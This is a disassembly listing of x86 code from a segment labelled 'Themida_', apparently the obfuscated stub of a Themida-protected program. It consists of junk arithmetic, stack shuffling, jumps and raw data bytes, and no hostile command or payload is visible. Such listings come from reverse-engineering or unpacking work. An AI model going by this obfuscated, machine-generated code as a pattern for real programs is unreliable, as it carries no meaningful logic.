loc_5531A7:				; CODE XREF: Themida_:0054BF08j
		add	eax, esi
		add	eax, 9C570F6h
		jmp	loc_54A44B
; ---------------------------------------------------------------------------


loc_5531B3:				; CODE XREF: Themida_:0054AEE4j
		pop	eax
		add	esp, 4
		jmp	loc_54B51D
; ---------------------------------------------------------------------------


loc_5531BF:				; CODE XREF: Themida_:0054BDE7j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54EA84
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0DFD8E924h, 0F181FFFFh, 64980248h, 0BF10C181h, 0CBE911EDh
		dd 5FFFFF7Bh, 0FF3210E9h, 596852FFh, 5A310057h,	0FFA1BCE9h
		dd 243C8BFFh, 4C481h, 53510000h, 0FF2876E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553205:				; CODE XREF: Themida_:005455AEj
		push	dword ptr [esp]
		pop	edi
		push	2904h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55090D
; ---------------------------------------------------------------------------
		dd 53364BFh, 5FFE290Dh,	74FF565Bh, 8F5E0424h, 248B2404h
		dd 24040824h, 0F4D6E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_553236:				; CODE XREF: Themida_:00554977j
		add	ebx, 1
		jmp	loc_54420A
; ---------------------------------------------------------------------------
		db 2Dh,	76h, 69h
		dd 0F02942F8h, 302FE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55324E:				; CODE XREF: Themida_:005505F9j
		push	edx
		jmp	loc_545CE9
; ---------------------------------------------------------------------------


loc_553254:				; CODE XREF: Themida_:0054D4CFj
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 1A6649F6h
		dec	eax
		dec	eax
		shr	eax, 5
		add	eax, 3E18430Eh
		add	edx, eax
		pop	eax
		jmp	loc_5515CC
; ---------------------------------------------------------------------------
		dd 4C281h, 0F2E90000h, 0FFFFFF37h, 26E92434h, 5200001Eh
		dd 0AF7BC7BAh, 0CF2BE908h, 1CF6FFFFh, 61E99C24h
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5532AB:				; CODE XREF: Themida_:00546485j
		xchg	esi, [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 3FD74E52h
		jmp	loc_54C3F7
; ---------------------------------------------------------------------------


loc_5532C9:				; CODE XREF: Themida_:00555052j
		mov	ebp, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_547196
; ---------------------------------------------------------------------------


loc_5532DF:				; CODE XREF: Themida_:00544622j
		mov	edx, 2B73301Ah
		push	esi
		jmp	loc_5562FA
; ---------------------------------------------------------------------------


loc_5532EA:				; CODE XREF: Themida_:0055083Bj
		push	6323h
		mov	[esp], edx
		jmp	loc_55344D
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 4055854h, 83000000h, 0DFE904C0h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55330F:				; CODE XREF: Themida_:00549BF1j
		pop	eax
		mov	[edi+eax*4], cl
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54877E
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 4050000h, 0E9000000h, 0FFFFDF41h, 0E904EC83h
		dd 3C12h, 0E2E95A54h, 1FFFF01h,	0D9015AD1h, 47D0E981h
		dd 0BE567396h, 2FF76857h, 8DE9D6F7h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55335F:				; CODE XREF: Themida_:0055190Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_552DCA
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 6A61E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553372:				; CODE XREF: Themida_:005456D9j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_545130
; ---------------------------------------------------------------------------


loc_553382:				; CODE XREF: Themida_:0054F2F2j
		push	edi
		push	90780227h
		mov	edi, [esp]
		add	esp, 4
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 634C2311h
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		dd 31242C33h, 874D242Ch, 0C158242Ch, 162D03E8h,	2D027E65h
		dd 0AA1EB52h, 1F99BF57h, 0E7810844h, 4AE079E1h,	5EF0C781h
		dd 27E907CBh, 81FFFF28h, 23748EDh, 2434FF1Bh, 0E3895358h
		dd 4C381h, 0C3830000h, 241C8704h, 242C335Ch, 33242C31h
		dd 665C242Ch, 9C2404D3h, 0FEF313E9h, 7EFD2DFFh,	9EE937DAh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553403:				; CODE XREF: Themida_:0054530Cj
		xchg	ecx, [esp]
		jmp	loc_54E837
; ---------------------------------------------------------------------------


loc_55340B:				; CODE XREF: Themida_:00548EEAj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5440C1
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E924048Bh, 0FFFF64B8h
; ---------------------------------------------------------------------------


loc_553420:				; CODE XREF: Themida_:005535DEj
		mov	[esp], ebx
		jmp	loc_556098
; ---------------------------------------------------------------------------


loc_553428:				; CODE XREF: Themida_:005440BCj
		add	esp, 4
		xor	esi, 4B98728Ch
		sub	esi, 0FFFFFFFFh
		jmp	loc_551EE7
; ---------------------------------------------------------------------------


loc_55343C:				; CODE XREF: Themida_:0054CA5Aj
		push	ebp
		push	esp
		jmp	loc_5434B5
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 0FF8493E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55344D:				; CODE XREF: Themida_:005532F2j
		push	ecx
		push	70661CDEh
		pop	ecx
		push	eax
		mov	eax, 8F99E326h
		jmp	loc_555883
; ---------------------------------------------------------------------------
		db 41h
		dd 0FFDE72E9h, 0CEBF57FFh, 0E9019533h, 1531h
; ---------------------------------------------------------------------------


loc_553470:				; CODE XREF: Themida_:0054FC80j
		dec	edx
		and	edx, 66046A06h
		dec	edx
		not	edx
		sub	edx, 99003C6Fh
		sub	ebp, edx
		pop	edx
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5535CA
; ---------------------------------------------------------------------------
		dw 6850h
		dd 7764039Eh, 0E1BB5358h, 8143EA24h, 0B77587F3h, 0F8D5E975h
		dd 0EC81FFFFh, 4, 56243C89h, 0FFE84DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5534B9:				; CODE XREF: Themida_:0054AA62j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_547377
; ---------------------------------------------------------------------------


loc_5534C3:				; CODE XREF: Themida_:0054A8D0j
		push	2F71h
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5489F5
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24895C24h, 6AFB6824h, 2C890000h, 4BD24h, 6C010000h
		dd 0FF5D0424h, 1C8B2434h, 4C48124h, 81000000h, 4C4h, 4C38100h
		dd 0E9000000h, 0FFFFFCDDh, 0CFE9C688h, 5CFFFF50h, 0FFBAA6E9h
		dd 7BC8BBFFh, 8E93887h,	8300001Ah, 0E9042404h, 0FFFFB355h
		dd 2414F756h, 0FFED1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553535:				; CODE XREF: Themida_:00545C96j
		xor	edx, [esp]
		jmp	loc_54B447
; ---------------------------------------------------------------------------


loc_55353D:				; CODE XREF: Themida_:00552F54j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 204535F1h
		shl	esi, 7
		inc	esi
		sub	esi, 0A25AE77Dh
		add	ebx, esi
		jmp	loc_544C41
; ---------------------------------------------------------------------------


loc_55355E:				; CODE XREF: Themida_:005530F6j
		mov	ebp, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54C939
; ---------------------------------------------------------------------------
		db 81h
		dd 0D01F8F3h, 0FC8AE96Fh, 55ACFFFEh, 1D71E9h, 0E9D6F700h
		dd 1A17h, 0D63E54B8h, 5AD001B5h, 92BDBF57h, 0F801D299h
		dd 0E9243C8Bh, 0FFFFD456h, 0C466F2Dh, 0E9E8D148h, 0FFFF45FEh
		dd 0E904EC83h, 0FFFFE594h, 0C780CF28h, 25E97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5535CA:				; CODE XREF: Themida_:0055348Dj
		mov	esp, [esp]
		jmp	loc_545D63
; ---------------------------------------------------------------------------


loc_5535D2:				; CODE XREF: Themida_:00550E6Cj
		sub	ecx, 0A8EAF090h
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_553420
; ---------------------------------------------------------------------------


loc_5535E3:				; CODE XREF: Themida_:005464E1j
		push	esi
		push	esp
		jmp	loc_550BA5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 24348904h, 0EC815E54h, 4, 0BB241C89h, 4
		dd 835BDE01h, 343304EEh, 24343124h, 5C243433h, 83243C89h
		dd 248904ECh, 583B6824h, 4890000h, 4B824h, 9EE90000h, 59FFFF91h
		dd 0FFD857E9h, 0BCF581FFh, 553CFD79h, 4930E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553642:				; CODE XREF: Themida_:00551AADj
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		push	193h
		mov	[esp], edx
		mov	edx, 4
		sub	ebp, 3A27458h
		jmp	loc_553B75
; ---------------------------------------------------------------------------
		db 50h
		dd 0C200DDB0h, 5AD50058h, 0ED80DDF6h, 0A98E951h, 0E9580000h
		dd 0FFFFE8D8h
; ---------------------------------------------------------------------------


loc_55367C:				; CODE XREF: Themida_:00546706j
		xor	edi, 7FBF3FFBh
		add	ebx, edi
		jmp	loc_545510
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0FE49E95Ch, 0DEF7FFFEh, 5879E681h, 0E94E4391h, 158Eh
		dd 0E9241489h, 0FFFF234Bh, 241CF766h, 0F05AE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5536B2:				; CODE XREF: Themida_:00542B55j
		xchg	edi, [esp]
		jmp	loc_54559D
; ---------------------------------------------------------------------------
		dw 8A68h
		dd 0E96E4C17h, 0FFFFE875h
; ---------------------------------------------------------------------------


loc_5536C4:				; CODE XREF: Themida_:00547176j
		add	edi, ebp
		sub	edi, 2BBA2156h
		pop	ebp
		push	ebx
		push	ebp
		mov	ebp, 34A32125h
		jmp	loc_54CFFE
; ---------------------------------------------------------------------------
		db 89h,	0D6h, 8Bh
		dd 0C4832414h, 90CE8104h, 3159B62Bh, 7E23E9D6h,	0D089FFFFh
		dd 58C1215Ah, 0F0F4C181h, 0BD550924h, 2A2864EDh, 295DE829h
		dd 0B65EE9C8h, 815BFFFFh, 4ECh,	0E46BE900h, 0E581FFFFh
		dd 70DD148Bh, 2D55ED81h, 0F581383Fh, 7CFBD60h, 2C8BEB01h
		dd 4C48124h, 0E9000000h, 0FFFF9F69h
; ---------------------------------------------------------------------------


loc_553738:				; CODE XREF: Themida_:0054506Ej
		sub	ebx, 1B45BA5h
		shl	ebx, 5
		inc	ebx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_555A31
; ---------------------------------------------------------------------------
		dw 5052h
		dd 0FFAEBAE9h, 0B8BE56FFh, 1B6D11Fh, 0D0095EF2h, 0F971E95Ah
		dd 0E089FFFFh, 0FFA389E9h, 0E98741FFh, 0E931D5F7h, 0E931CD31h
		dd 0FF4BA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553785:				; CODE XREF: Themida_:0055790Bj
		mov	esi, 0
		sub	esi, 59B24634h
		sub	esi, ebx
		add	esi, 59B24634h
		push	9FFh
		mov	[esp], esi
		add	dword ptr [esp], 3E56375Ch
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 3E56375Ch
		push	dword ptr [esp]
		pop	esi
		push	esi
		push	esp
		pop	esi
		jmp	loc_546332
; ---------------------------------------------------------------------------


loc_5537BF:				; CODE XREF: Themida_:00556E92j
		pop	ebp
		pop	eax
		jmp	loc_54A435
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 241C335Fh, 33241C31h, 0E95C241Ch, 2387h, 2D1BB850h
		dd 44012C9Dh, 0C9E90824h, 81FFFF63h, 0EC3A09EBh, 81D3015Ah
		dd 0EC3A09C3h, 0E28CE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5537FA:				; CODE XREF: Themida_:00543DF7j
		push	dword ptr [esp]
		jmp	loc_5470E6
; ---------------------------------------------------------------------------


loc_553802:				; CODE XREF: Themida_:00545329j
		pop	esi
		neg	eax
		push	ebp
		push	esi
		mov	esi, 42C64077h
		jmp	loc_54C8FB
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 8Dh
		dd 81FFFF0Fh, 575DE9C7h, 31D2E904h, 0E9430000h,	0FFFF3671h
		dd 5C240487h, 24148966h, 1B25251h, 8701E950h, 0BD55FFFFh
		dd 23424F28h, 843BE950h, 148BFFFFh, 4C48324h, 1C8BDA01h
		dd 0E6895624h, 4C681h, 0C6830000h, 0ADDBE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553862:				; CODE XREF: Themida_:0054E83Aj
		sub	esp, 4
		mov	[esp], eax
		push	2D9Ah
		jmp	loc_54395B
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 9BFBB53h, 41E91CCFh,	0FFFFFFBFh, 875F2404h, 81D6F7FEh
		dd 4ECh, 22E6E900h, 0F2810000h,	0BF0713AFh, 495AD121h
		dd 812C981h, 0E9564C8Dh, 0FFFF9D11h
; ---------------------------------------------------------------------------


loc_5538AC:				; CODE XREF: Themida_:0054F7AAj
		pop	edi
		add	esi, 4471454Dh
		sub	esi, 5D173AF0h
		add	esi, edi
		jmp	loc_550E02
; ---------------------------------------------------------------------------
		dd 0FD281FB7h, 3AF7E95Bh, 48BFFFFh, 0E3895324h,	4C381h
		dd 0C3830000h, 241C8704h, 0D7F7665Ch, 0BE665666h, 29664769h
		dd 665E66F7h, 5931CF81h, 5EFC166h, 45B86650h, 0E8C1664Dh
		dd 7225E902h, 77FFFFFFh, 58669D1Ch, 24041966h, 0EDFAE99Ch
		dd 0E95BFFFEh, 0FFFEFBDEh
; ---------------------------------------------------------------------------


loc_553918:				; CODE XREF: Themida_:005544A5j
		sub	eax, 4
		jmp	loc_55138C
; ---------------------------------------------------------------------------
		dw 0C480h
		dd 14C1E914h, 489FFFFh,	3A70E924h, 8951FFFFh, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 241C895Ch, 5A09E8BBh, 0E9DE015Ah
		dd 0FFFF1017h
; ---------------------------------------------------------------------------


loc_553954:				; CODE XREF: Themida_:00553DDEj
		mov	esi, 421A7AF5h
		mov	edx, esi
		pop	esi
		mov	ebp, edx
		pop	edx
		jmp	loc_543183
; ---------------------------------------------------------------------------
		dd 15DEF89h, 6EE95EF7h,	5000005h, 46542FA0h, 0A02DF801h
		dd 5F46542Fh, 0E904E883h, 0FFFFA06Ah
; ---------------------------------------------------------------------------


loc_553984:				; CODE XREF: Themida_:00555781j
		push	edx
		push	eax
		mov	al, 13h
		jmp	loc_5489D5
; ---------------------------------------------------------------------------


loc_55398D:				; CODE XREF: Themida_:005440C7j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_550CB7
; ---------------------------------------------------------------------------
		db 0BBh, 44h, 1Ah
		dd 0C3814A1Ah, 0E96A6467h, 575BDA29h, 0FFBFD9E9h, 181105FFh
		dd 595E20E2h, 1B1659BBh, 0FEEB8162h, 294BA436h,	1191E9C3h
		dd 0DBF0000h, 81246568h, 0C5533FF7h, 687FE903h,	515AFFFFh
		dd 0B1A9B353h, 0E9D928E3h, 0FFFF8384h
; ---------------------------------------------------------------------------


loc_5539EC:				; CODE XREF: Themida_:00552E99j
		pop	ebx
		push	ebx
		mov	ebx, 47781451h
		and	ebx, 2CC74CDFh
		add	ebx, 7DC362C4h
		jmp	loc_547D3F
; ---------------------------------------------------------------------------
aPss		db 'Pé™"',0
		align 2
		dw 0C889h
		dd 2E8C159h, 3597E957h,	248BFFFFh, 2434FF24h, 582434FFh
		dd 0FEF8B7E9h, 5FF929FFh, 8904EC83h, 15BE2434h,	817BAE5Ch
		dd 0D954BFEEh, 2C52E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553A3E:				; CODE XREF: Themida_:005559ABj
		pop	si
		push	edx
		jmp	loc_553D2F
; ---------------------------------------------------------------------------


loc_553A46:				; CODE XREF: Themida_:005560ADj
		xor	edx, [esp]
		jmp	loc_546A53
; ---------------------------------------------------------------------------


loc_553A4E:				; CODE XREF: Themida_:005428A8j
		add	edx, 0AA1AB16Dh
		jmp	loc_543BBA
; ---------------------------------------------------------------------------


loc_553A59:				; CODE XREF: Themida_:0054C2D7j
		add	esp, 4
		add	edx, 4
		jmp	loc_54E419
; ---------------------------------------------------------------------------
		dd 0C581F529h, 5D2C13F6h, 50FD015Eh, 7E1D2968h,	0C5015871h
		dd 0FFB3ACE9h, 0D8BA52FFh, 89E5A5C7h, 0D3015AD3h, 5624148Bh
		dd 0FF4160E9h, 42DFFh, 0FF500000h, 8B042474h, 54532404h
		dd 4C3815Bh, 83000000h,	0E95304C3h, 337Fh
; ---------------------------------------------------------------------------


loc_553AB0:				; CODE XREF: Themida_:00552862j
		mov	ecx, 2
		add	ebp, 773306B8h
		add	ebp, ecx
		sub	ebp, 773306B8h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54F95E
; ---------------------------------------------------------------------------
		dd 0E4C01BB4h, 80D4F607h, 0E53066C4h, 0A0ED8058h, 88E88850h
		dd 0E95958C6h, 0FFFFEE6Dh, 0D550F2BDh, 0E172E93Dh, 0C181FFFFh
		dd 4, 1E9168h, 242C8900h, 4BDh,	8BE92900h, 0C483242Ch
		dd 5199E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B12:				; CODE XREF: Themida_:005490DEj
		mov	ecx, edx
		pop	edx
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 1B2F2365h
		sub	edx, 30B36068h
		add	edx, 2E351CA5h
		jmp	loc_5552A4
; ---------------------------------------------------------------------------
		db 43h
		dd 77C8C381h, 0D1E98B99h, 53FFFF82h, 5B5AAFBBh,	8BBA523Fh
		dd 8167B477h, 226604EAh, 63F2812Eh, 2961191Dh, 0E3815AD3h
		dd 79F01B2h, 814BD3F7h,	9001B0C3h, 51FB0106h, 74A868h
		dd 24348900h, 0FF65CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553B75:				; CODE XREF: Themida_:0055365Ej
		add	ebp, edx
		jmp	loc_543F94
; ---------------------------------------------------------------------------
		dd 6442E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B82:				; CODE XREF: Themida_:00543247j
		mov	esp, [esp]
		mov	[esp], ebx
		push	29B77D27h
		pop	ebx
		jmp	loc_55702A
; ---------------------------------------------------------------------------


loc_553B93:				; CODE XREF: Themida_:00544966j
		add	ecx, 3E191930h
		jmp	loc_5452F5
; ---------------------------------------------------------------------------


loc_553B9E:				; CODE XREF: Themida_:00551232j
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 261F5BEAh
		add	ecx, 1
		not	ecx
		inc	ecx
		add	ecx, 1
		push	ebx
		mov	ebx, 37C2059Ah
		shl	ebx, 1
		or	ebx, 73880F99h
		neg	ebx
		not	ebx
		push	ecx
		mov	ecx, 78A721C2h
		jmp	loc_54AB4D
; ---------------------------------------------------------------------------
		dd 248CC381h, 30E9575Ch, 89FFFF9Fh, 0D8FFE9E2h,	0DE01FFFFh
		dd 0F62EE957h, 0D6F7FFFFh, 0FF9753E9h, 2CE134FFh, 5189040Ah
		dd 0E9537DB5h, 0FFFFFCC0h, 0C00309BDh, 74BFE901h, 0B850FFFFh
		dd 4, 2E9C301h,	5CFFFF6Fh, 54241C89h, 4BA525Bh,	1000000h
		dd 0C3815AD3h, 4, 31241C33h, 1C33241Ch,	4015C24h, 0CDE99C24h
		dd 89FFFEEAh, 0F7295BDEh, 35EF815Eh, 8165DB7Ah,	0FF5A45C7h
		dd 0E9C7011Ch, 0FFFF18D4h, 8E28EA81h, 0D1290EB8h, 0FDA4E95Ah
		dd 4BDFFFFh, 0E9000000h, 3577h,	677EC381h, 0C30120B7h
		dd 0FFB2DBE9h, 2434FFFFh, 7E68525Ah, 89000067h,	0EC812434h
		dd 4, 0E9242489h, 0FFFF8A6Eh
; ---------------------------------------------------------------------------


loc_553C98:				; CODE XREF: Themida_:0054E9A2j
		pop	ebp
		add	esp, 4
		jmp	loc_54C26C
; ---------------------------------------------------------------------------
		db 0B7h, 47h, 0FEh
		dd 8C6FE9CFh, 8CBBFFFFh, 0E9046922h, 14Bh
; ---------------------------------------------------------------------------


loc_553CB4:				; CODE XREF: Themida_:00550947j
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2
		add	edx, 34D308D5h
		sub	edx, ecx
		sub	edx, 34D308D5h
		mov	ecx, [esp]
		push	5004h
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_54C463
; ---------------------------------------------------------------------------


loc_553D0E:				; CODE XREF: Themida_:00549289j
		pop	eax
		pop	edx
		mov	ch, bl
		pop	ebx
		pop	eax
		not	ch
		push	ax
		mov	ah, 5Ch
		xor	ch, ah
		pop	ax
		push	609h
		mov	[esp], edx
		mov	dl, 18h
		xor	ch, dl
		jmp	loc_549FDA
; ---------------------------------------------------------------------------


loc_553D2F:				; CODE XREF: Themida_:00553A41j
		mov	dx, 372Bh
		sub	dx, 470h
		add	si, dx
		jmp	loc_546FDE
; ---------------------------------------------------------------------------
		dd 4C281h, 14870000h, 48F5C24h,	0D3665C24h, 0E99C242Ch
		dd 0FFFEE9B4h, 2414875Dh, 0C8AF0F5Ch, 0A5E99C51h, 5BFFFEE9h
		dd 8104E3C1h, 0E8065FC3h, 5C3811Dh, 15F5F9Dh, 0BB535BDEh
		dd 5E9A06D4h, 8303EBC1h, 5557FFC3h, 0F123A2BDh,	4AC58137h
		dd 8143F413h, 0E537DFC5h, 3534E94Ch, 0C581FFFFh, 4, 4E2268h
		dd 241C8900h, 8904EC83h, 91BA2414h, 0BB1F8755h,	0E078AA73h
		dd 3FB1C381h, 0EB81245Ch, 0C2360BBh, 4770BE56h,	4EE961ABh
		dd 66FFFFB6h, 0E924048Bh, 0FFFF63F0h
; ---------------------------------------------------------------------------


loc_553DDC:				; CODE XREF: Themida_:0054C0E7j
		push	edx
		push	esi
		jmp	loc_553954
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C681h, 0EE810000h, 4, 31243433h, 34332434h,	0CDE95C24h
		dd 0F7FFFF40h, 0E5BE56DBh, 815D9052h, 2B92AFF6h, 5EF329B0h
		dd 1C8BD989h, 4C48124h,	9000000h, 240C8BCBh, 0E9E28952h
		dd 0FFFFF45Ch, 2404895Ch, 4116852h, 575A6C8Dh, 66FBE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553E3A:				; CODE XREF: Themida_:005462EBj
		mov	esi, esp
		push	ebp
		jmp	loc_54D73D
; ---------------------------------------------------------------------------


loc_553E42:				; CODE XREF: Themida_:00543A80j
		add	edi, esi
		push	eax
		jmp	loc_54B749
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 7E6C106h, 0FF1463E9h, 0FBF681FFh, 5579533Eh,	0FBE9F589h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553E63:				; CODE XREF: Themida_:0054B7E5j
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_55196D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 565B5424h, 5A652BBEh, 1C6815Dh, 0E9000000h, 0FFFFE02Ah
		dd 8104C483h, 23748C5h,	0E9C5011Bh, 0FFFFF52Fh
; ---------------------------------------------------------------------------


loc_553E9C:				; CODE XREF: Themida_:00549B80j
		sub	ebx, 43DD1BD6h
		add	ebx, 3C3B6246h
		jmp	loc_54A2AF
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 31h
		dd 243431C6h, 31243433h, 34FF2434h, 2434FF24h, 4C4835Eh
		dd 0E9E28952h, 0FFFFB024h
; ---------------------------------------------------------------------------


loc_553ECC:				; CODE XREF: Themida_:0054F989j
		pop	ecx
		pop	edx
		jmp	loc_54CCE0
; ---------------------------------------------------------------------------
		db 29h
		dd 575B5EF5h, 0FF950BE9h, 0E9FB29FFh, 3BE5h, 5E2434FFh
		dd 4EC81h, 4890000h, 62A8E924h,	0D931FFFFh, 0CD89555Bh
		dd 8B5DEB89h, 0EC83240Ch, 24048904h, 405E089h, 0E9000000h
		dd 0FFFF8BABh, 0CDC8EA81h, 0D3010D87h, 1C5F095Ah, 0FF5ADDE9h
		dd 0ED8145FFh, 0A7580D1Bh, 875DEB89h, 0F7FA87D3h, 5BD0E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F3A:				; CODE XREF: Themida_:00556137j
		pop	dword ptr [esp]
		jmp	loc_544E25
; ---------------------------------------------------------------------------


loc_553F42:				; CODE XREF: Themida_:00555AA3j
		mov	esi, 124A42E5h
		and	esi, 1DE125C8h
		push	ecx
		jmp	loc_54F2CE
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 1570h
; ---------------------------------------------------------------------------


loc_553F5C:				; CODE XREF: Themida_:0054E28Bj
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 41543CC5h
		not	ebp
		jmp	loc_551574
; ---------------------------------------------------------------------------


loc_553F72:				; CODE XREF: Themida_:0055753Ej
		add	esp, 4
		pop	edi
		add	eax, ebx
		push	dword ptr [eax]
		jmp	loc_549127
; ---------------------------------------------------------------------------
		db 81h
		dd 7EB1242Ch, 505A28E9h, 0FFBAFFE9h, 243487FFh,	6824248Bh
		dd 1235h, 13DAE9h, 242C8B00h, 4C481h, 4870000h,	24248B24h
		dd 0FF2434FFh, 0E9592434h, 0FFFFA498h, 4EC8153h, 54000000h
		dd 8124048Fh, 42404h, 815B0000h, 4C3h, 4EC8300h, 50240C89h
		dd 4B951h, 81510000h, 6C342404h, 2D5873A1h, 73A16C34h
		dd 81240C8Bh, 4C4h, 0C2895200h,	585AD189h, 5F74C381h, 0EB810E6Fh
		dd 0E827521h, 0C381CB01h, 0E827521h, 5F74EB81h,	34FF0E6Fh
		dd 50E95924h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55401F:				; CODE XREF: Themida_:00557975j
		xor	ecx, 3414540Fh
		xor	ecx, 46BA7C26h
		xor	eax, ecx
		pop	ecx
		push	6ACBh
		jmp	loc_54AB10
; ---------------------------------------------------------------------------
		dd 0F704C483h, 0E95046D6h, 1202h, 785A68h, 240C8900h, 3390E9h
		dd 2434FF00h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	eax
		push	2D0E60FCh
		pop	eax
		not	eax
		dec	eax
		sub	eax, 927F4DB4h
		mov	esi, eax
		pop	eax
		jmp	loc_5543C2
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 4D32424h,	8DE99C24h, 4AFFFEE6h, 0B7A0EA81h
		dd 0D629D91Ah, 5A2434FFh, 4C481h, 0F1010000h, 0E911885Eh
		dd 0FFFF2F8Bh
; ---------------------------------------------------------------------------


loc_55409C:				; CODE XREF: Themida_:0054C034j
		add	ecx, eax
		pop	eax
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	eax, eax
		jz	loc_54F0ED
		push	dword ptr [edi+28h]
		jmp	loc_547D56
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 6804C483h, 7991h, 0E9243489h, 0FFFEEDC4h
; ---------------------------------------------------------------------------


loc_5540D8:				; CODE XREF: Themida_:00544216j
		add	esp, 4
		xor	eax, ebp
		jmp	loc_5520F8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF771EE9h, 0C0D4B7FFh, 0BE908E7h, 8BFFFEE8h, 0C4812404h
		dd 4, 0E924048Fh, 0FFFFEE3Bh
; ---------------------------------------------------------------------------


loc_554108:				; CODE XREF: Themida_:0055238Cj
		pop	ebx
		jmp	loc_54E015
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 80CFFE6Fh, 0CF80DBE7h, 0C7F7806Bh, 0F780C7FEh, 0E9F8008Bh
		dd 0FFFF9428h, 0E924248Bh, 0B6h, 51241C8Bh, 0FFADB0E9h
